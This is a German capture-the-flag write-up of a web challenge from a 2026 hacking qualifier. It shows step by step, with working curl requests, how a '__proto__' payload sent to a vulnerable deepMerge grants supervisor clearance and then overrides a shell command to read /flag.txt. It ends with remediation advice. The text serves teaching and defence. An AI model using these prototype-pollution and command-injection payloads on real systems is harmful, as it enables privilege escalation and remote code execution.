Disclaimer: Im August 2026 fand die Qualifikation für das Finale von Deutschlands Bester Hacker statt, welches ich auf Platz 1 abschließen konnte. Nur zwei Teilnehmer waren in der Lage, alle Challenges zu lösen. Dieses Writeup wurde mit KI auf Basis meiner Notizen erstellt und kann Fehler enthalten, bei Fragen bitte direkt an mich wenden im DBH-Discord.
| Wettbewerb | Deutschlands Bester Hacker 2026 — Qualifikation |
| Kategorie | Web |
| Punkte | 379 |
| Angriffsklasse | Prototype PollutionPrototype PollutionManipulation des JavaScript-Objektprototyps, wodurch alle Objekte geerbte Angreiferwerte tragen. → Privilege EscalationPrivilege EscalationErlangung höherer Berechtigungen als ursprünglich vorgesehen. → Command InjectionInjection AttackManipuliert Interpreter oder Anwendungen durch eingeschleuste Befehle oder Daten. (RCERemote Code ExecutionSchwachstelle oder Angriff, der Code auf einem entfernten Ziel ausführen lässt.) |
| Flag-Fundort | /flag.txt |
Die Challenge
Ein Unternehmensportal mit Report-Funktion und einem Admin-only-Analytics-Bereich. Ziel ist
die Flag unter /flag.txt.
Aufklärung
Die Startseite streut die entscheidenden Hinweise selbst:
<meta name="generator" content="GreenCorp Portal v2.1.3">
<!-- internal: /api -->
<!-- function deepMerge(target, source) { ... } -->
<!-- FIXME(sarah): deepMerge does not sanitize __proto__ -->
<!-- see ticket GC-1337 -->
Ein versteckter Endpoint /api, und ein rekursiver deepMerge, der __proto__ nicht
filtert — eine sehr deutliche Prototype-Pollution-Fährte. Der Server ist Express (erkennbar
am x-powered-by).
API-Mapping:
curl -isS "$BASE/api"
# {"status":"ok","endpoints":["signup","signin","reports","analytics"]}
| Endpoint | Verhalten |
|---|---|
signup |
Account anlegen (username+password) |
signin |
Login → JWTJSON Web TokenKompaktes, signierbares Token zur Übertragung von Identitäts- und Berechtigungsinformationen., übergeben via Header x-access-token |
reports |
Report einreichen (verwundbarer Merge) |
analytics |
Admin-only: „Supervisor clearance required“ (403) |
Das JWT-PayloadPayloadTeil eines Angriffs oder Exploits, der die beabsichtigte schädliche Wirkung ausführt. eines normalen Users ist {"user":"...","role":"user",...}, HS256-signiert
— also nicht direkt fälschbar.
Die Schwachstelle
Account anlegen und Token holen:
curl -isS -X POST "$BASE/api/signup" -H 'Content-Type: application/json' \
-d '{"username":"testi","password":"Passw0rd!"}'
TOKEN=$(curl -sS -X POST "$BASE/api/signin" -H 'Content-Type: application/json' \
-d '{"username":"testi","password":"Passw0rd!"}' \
| sed -E 's/.*"token":"([^"]+)".*/\1/')
Pollution über signup blieb wirkungslos, Analytics antwortete weiter mit 403. Der
verwundbare deepMerge läuft also im POST /api/reports:
curl -isS -X POST "$BASE/api/reports" -H "x-access-token: $TOKEN" \
-H 'Content-Type: application/json' \
-d '{"title":"test","body":"hello","category":"waste"}'
# {"status":"success","report_id":1,...}
Der Angriff
Pollution 1 — Auth-Bypass über clearance
Der Analytics-Check liest clearance. Das JWT-Objekt besitzt dieses Feld nicht selbst —
JavaScript fällt daher auf Object.prototype zurück. Genau dort platzieren wir den Wert:
curl -isS -X POST "$BASE/api/reports" -H "x-access-token: $TOKEN" \
-H 'Content-Type: application/json' \
-d '{"title":"x","__proto__":{"clearance":"supervisor"}}'
curl -isS "$BASE/api/analytics" -H "x-access-token: $TOKEN"
# 200 → {"command":"uptime","output":"... up 18 days ...","total_reports":..,"total_users":..}
Kein Supervisor-Account nötig — unser eigener User erbt die Clearance aus dem vergifteten Prototype.
Pollution 2 — RCE über command
Die Analytics-Antwort verrät den nächsten Schritt: der Endpoint führt einen Shell-Befehl
(command) aus und gibt output zurück. Überschreiben wir command, führen wir beliebige
Befehle aus.
Wichtig: Die Instanz resettet den Prozess periodisch, die Pollution ist also flüchtig.
Daher clearance und command in einem Request setzen und sofort Analytics
triggern:
curl -sS -X POST "$BASE/api/reports" -H "x-access-token: $TOKEN" \
-H 'Content-Type: application/json' \
-d '{"title":"x","__proto__":{"clearance":"supervisor","command":"cat /flag.txt"}}' >/dev/null
curl -isS "$BASE/api/analytics" -H "x-access-token: $TOKEN"
# 200 → output enthält den Inhalt von /flag.txt
Die Flag
Die Flag liegt in /flag.txt und wird im output-Feld der Analytics-Antwort im Format
DBH{...} zurückgegeben.
Was ich mitnehme
Die Kette in zwei Schritten: deepMerge ohne __proto__-Schutz →
- Auth-Bypass:
clearancewird per Prototype geerbt → Zugriff auf einen admin-only-Endpoint. - RCE:
commandwird per Prototype überschrieben → Ausführung beliebiger OS-Befehle → beliebige Dateien lesbar.
Die Fixes:
- In
deepMerge__proto__,constructorundprototypeals Keys blocken (bzw.Object.create(null)oderMapnutzen, plushasOwnProperty-Guards). - Berechtigungs-Checks nur auf eigene Eigenschaften stützen (
Object.hasOwn), nicht auf vererbte. Das ist der eigentliche Kern: einif (user.clearance === 'supervisor')ist bei Prototype Pollution kein Check mehr. - Keine dynamischen Shell-Befehle aus konfigurierbaren Feldern;
child_process.execdurchexecFileohne Shell und mit fester Allowlist ersetzen. /apinicht nur „intern gedacht“, sondern serverseitig durchgesetzt.